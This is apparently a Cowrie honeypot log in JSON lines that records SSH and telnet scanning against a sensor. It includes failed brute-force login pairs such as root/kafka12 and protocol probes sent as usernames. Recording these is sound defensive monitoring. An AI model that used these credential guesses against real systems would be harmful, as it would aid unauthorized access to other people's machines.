a2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:23.088243Z","src_ip":"1.235.192.214","session":"c614dbf2bc3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mine","message":"login attempt [minecraft/mine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:23.853142Z","src_ip":"1.235.192.214","session":"c614dbf2bc3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":45922,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7ec4304e229","protocol":"ssh","message":"New connection: 103.13.206.100:45922 (10.17.0.5:22) [session: b7ec4304e229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:23.910166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:23.916436Z","src_ip":"103.13.206.100","session":"b7ec4304e229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:24.159642Z","src_ip":"103.13.206.100","session":"b7ec4304e229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:25.043489Z","src_ip":"1.235.192.214","session":"c614dbf2bc3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload12","message":"login attempt [ubuntu/upload12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:25.165120Z","src_ip":"103.13.206.100","session":"b7ec4304e229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.0042572021484375,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:26.219681Z","src_ip":"198.58.117.211","session":"0004ce90ad8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38704,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eae798bf68c","protocol":"telnet","message":"New connection: 198.58.117.211:38704 (10.17.0.5:23) [session: 1eae798bf68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:26.263374Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:26.410647Z","src_ip":"103.13.206.100","session":"b7ec4304e229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51102,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb0c2362855c","protocol":"telnet","message":"New connection: 188.208.141.113:51102 (10.17.0.5:23) [session: eb0c2362855c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:28.313698Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":53740,"dst_ip":"159.203.135.109","dst_port":23,"session":"991c4e2f3446","protocol":"telnet","message":"New connection: 64.227.9.242:53740 (159.203.135.109:23) [session: 991c4e2f3446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:29.198421Z"}
{"eventid":"cowrie.session.closed","duration":1.1242971420288086,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:29.437876Z","src_ip":"188.208.141.113","session":"eb0c2362855c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54914,"dst_ip":"159.203.135.109","dst_port":23,"session":"41590f59c8d1","protocol":"telnet","message":"New connection: 64.227.9.242:54914 (159.203.135.109:23) [session: 41590f59c8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:29.974615Z"}
{"eventid":"cowrie.session.closed","duration":5.0037078857421875,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:31.266967Z","src_ip":"198.58.117.211","session":"1eae798bf68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38796,"dst_ip":"10.17.0.5","dst_port":23,"session":"bda83e51fe56","protocol":"telnet","message":"New connection: 198.58.117.211:38796 (10.17.0.5:23) [session: bda83e51fe56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:31.302478Z"}
{"eventid":"cowrie.session.closed","duration":0.0059664249420166016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:31.308292Z","src_ip":"198.58.117.211","session":"bda83e51fe56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38810,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f9135455cdb","protocol":"telnet","message":"New connection: 198.58.117.211:38810 (10.17.0.5:23) [session: 7f9135455cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:31.388709Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39070,"dst_ip":"10.17.0.5","dst_port":23,"session":"74db7f3e6325","protocol":"telnet","message":"New connection: 188.208.141.113:39070 (10.17.0.5:23) [session: 74db7f3e6325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:31.586519Z"}
{"eventid":"cowrie.session.closed","duration":35.983177185058594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:33.799767Z","src_ip":"64.227.9.242","session":"1e988dcb3b6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7997567653656,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:33.915125Z","src_ip":"64.227.9.242","session":"710db2b74908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33114,"dst_ip":"159.203.135.109","dst_port":23,"session":"051e22c470b0","protocol":"telnet","message":"New connection: 64.227.9.242:33114 (159.203.135.109:23) [session: 051e22c470b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:33.985519Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":35076,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cfe68886e4d","protocol":"ssh","message":"New connection: 112.217.199.222:35076 (10.17.0.5:22) [session: 0cfe68886e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:34.033308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:34.039916Z","src_ip":"112.217.199.222","session":"0cfe68886e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33372,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbd223dce778","protocol":"telnet","message":"New connection: 64.227.9.242:33372 (159.203.135.109:23) [session: bbd223dce778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:34.169203Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:34.247766Z","src_ip":"112.217.199.222","session":"0cfe68886e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33774,"dst_ip":"159.203.135.109","dst_port":23,"session":"7145bdcb81cc","protocol":"telnet","message":"New connection: 64.227.9.242:33774 (159.203.135.109:23) [session: 7145bdcb81cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:34.430198Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kafka12","message":"login attempt [root/kafka12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:35.108936Z","src_ip":"112.217.199.222","session":"0cfe68886e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34844,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2a346f1627","protocol":"telnet","message":"New connection: 64.227.9.242:34844 (159.203.135.109:23) [session: 4a2a346f1627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:35.224919Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:36.318115Z","src_ip":"112.217.199.222","session":"0cfe68886e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.000447750091553,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:36.389060Z","src_ip":"198.58.117.211","session":"7f9135455cdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":55138,"dst_ip":"10.17.0.5","dst_port":23,"session":"782e19508715","protocol":"telnet","message":"New connection: 198.58.117.211:55138 (10.17.0.5:23) [session: 782e19508715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:36.428859Z"}
{"eventid":"cowrie.session.closed","duration":0.005769491195678711,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:36.434485Z","src_ip":"198.58.117.211","session":"782e19508715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":55144,"dst_ip":"10.17.0.5","dst_port":23,"session":"01415cd768e2","protocol":"telnet","message":"New connection: 198.58.117.211:55144 (10.17.0.5:23) [session: 01415cd768e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:36.514541Z"}
{"eventid":"cowrie.session.closed","duration":38.13038420677185,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:38.269312Z","src_ip":"64.227.9.242","session":"06dc97e3899d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39082,"dst_ip":"10.17.0.5","dst_port":23,"session":"6574bf8d1962","protocol":"telnet","message":"New connection: 188.208.141.113:39082 (10.17.0.5:23) [session: 6574bf8d1962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:38.301784Z"}
{"eventid":"cowrie.session.closed","duration":7.631047487258911,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:39.217453Z","src_ip":"188.208.141.113","session":"74db7f3e6325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.000830173492432,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:41.515254Z","src_ip":"198.58.117.211","session":"01415cd768e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":55218,"dst_ip":"10.17.0.5","dst_port":23,"session":"427228451cef","protocol":"telnet","message":"New connection: 198.58.117.211:55218 (10.17.0.5:23) [session: 427228451cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:41.556400Z"}
{"eventid":"cowrie.login.failed","username":"GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0","password":"","message":"login attempt [GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:41.578892Z","src_ip":"198.58.117.211","session":"427228451cef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.01783466339111,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:42.812278Z","src_ip":"64.227.9.242","session":"8cba37a64afc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.274339199066162,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:45.575989Z","src_ip":"188.208.141.113","session":"6574bf8d1962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45358,"dst_ip":"10.17.0.5","dst_port":23,"session":"b50aab1b8dae","protocol":"telnet","message":"New connection: 188.208.141.113:45358 (10.17.0.5:23) [session: b50aab1b8dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:45.707463Z"}
{"eventid":"cowrie.session.closed","duration":5.000309228897095,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:46.556528Z","src_ip":"198.58.117.211","session":"427228451cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":44510,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8665a572b9","protocol":"telnet","message":"New connection: 198.58.117.211:44510 (10.17.0.5:23) [session: 8c8665a572b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:46.596833Z"}
{"eventid":"cowrie.session.closed","duration":36.00095772743225,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:47.579839Z","src_ip":"64.227.9.242","session":"9e1e6cf23864","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56338,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c7ed326ac6d","protocol":"telnet","message":"New connection: 64.227.9.242:56338 (159.203.135.109:23) [session: 9c7ed326ac6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:49.646133Z"}
{"eventid":"cowrie.session.closed","duration":5.0001325607299805,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:51.596846Z","src_ip":"198.58.117.211","session":"8c8665a572b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.132102489471436,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:51.607429Z","src_ip":"64.227.9.242","session":"247d644eed5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":44606,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea5192ca7f93","protocol":"telnet","message":"New connection: 198.58.117.211:44606 (10.17.0.5:23) [session: ea5192ca7f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:51.636450Z"}
{"eventid":"cowrie.login.failed","username":"b'0\\x84\\x00\\x00\\x00-\\x02\\x01\\x07c\\x84\\x00\\x00\\x00$\\x04\\x00'","password":"\u0001\u0000","message":"login attempt [b'0\\x84\\x00\\x00\\x00-\\x02\\x01\\x07c\\x84\\x00\\x00\\x00$\\x04\\x00'/\u0001\u0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:51.641600Z","src_ip":"198.58.117.211","session":"ea5192ca7f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.000944375991821,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:56.637298Z","src_ip":"198.58.117.211","session":"ea5192ca7f93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":34222,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec3d469bfeb","protocol":"telnet","message":"New connection: 198.58.117.211:34222 (10.17.0.5:23) [session: 8ec3d469bfeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:56.677321Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":36432,"dst_ip":"159.203.135.109","dst_port":23,"session":"30e36f6a0880","protocol":"telnet","message":"New connection: 64.227.9.242:36432 (159.203.135.109:23) [session: 30e36f6a0880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:58.708097Z"}
{"eventid":"cowrie.session.closed","duration":37.70669889450073,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:59.720486Z","src_ip":"64.227.9.242","session":"5962bc222d17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.000279664993286,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:01.677507Z","src_ip":"198.58.117.211","session":"8ec3d469bfeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":34318,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9d9dcbb4b32","protocol":"telnet","message":"New connection: 198.58.117.211:34318 (10.17.0.5:23) [session: b9d9dcbb4b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:01.718607Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS sip:nm SIP/2.0","password":"Via: SIP/2.0/TCP nm;branch=foo","message":"login attempt [OPTIONS sip:nm SIP/2.0/Via: SIP/2.0/TCP nm;branch=foo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:01.725078Z","src_ip":"198.58.117.211","session":"b9d9dcbb4b32","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"From: <sip:nm@nm>;tag=root","password":"To: <sip:nm2@nm2>","message":"login attempt [From: <sip:nm@nm>;tag=root/To: <sip:nm2@nm2>] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:01.729100Z","src_ip":"198.58.117.211","session":"b9d9dcbb4b32","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Call-ID: 50000","password":"CSeq: 42 OPTIONS","message":"login attempt [Call-ID: 50000/CSeq: 42 OPTIONS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:01.732734Z","src_ip":"198.58.117.211","session":"b9d9dcbb4b32","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Max-Forwards: 70","password":"Content-Length: 0","message":"login attempt [Max-Forwards: 70/Content-Length: 0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:01.736727Z","src_ip":"198.58.117.211","session":"b9d9dcbb4b32","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Contact: <sip:nm@nm>","password":"Accept: application/sdp","message":"login attempt [Contact: <sip:nm@nm>/Accept: application/sdp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:01.740971Z","src_ip":"198.58.117.211","session":"b9d9dcbb4b32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90630483627319,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:04.880780Z","src_ip":"64.227.9.242","session":"41590f59c8d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47878,"dst_ip":"159.203.135.109","dst_port":23,"session":"993426e1f761","protocol":"telnet","message":"New connection: 64.227.9.242:47878 (159.203.135.109:23) [session: 993426e1f761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:05.097914Z"}
{"eventid":"cowrie.session.closed","duration":36.292699337005615,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:05.491026Z","src_ip":"64.227.9.242","session":"991c4e2f3446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56260,"dst_ip":"10.17.0.5","dst_port":23,"session":"efa2cc58f1df","protocol":"telnet","message":"New connection: 188.208.141.113:56260 (10.17.0.5:23) [session: efa2cc58f1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:06.000537Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56274,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ee54f71d322","protocol":"telnet","message":"New connection: 188.208.141.113:56274 (10.17.0.5:23) [session: 5ee54f71d322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:06.383376Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56280,"dst_ip":"10.17.0.5","dst_port":23,"session":"49596ef6811c","protocol":"telnet","message":"New connection: 188.208.141.113:56280 (10.17.0.5:23) [session: 49596ef6811c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:06.591323Z"}
{"eventid":"cowrie.session.closed","duration":34.51567220687866,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:08.501097Z","src_ip":"64.227.9.242","session":"051e22c470b0","protocol":"telnet"}
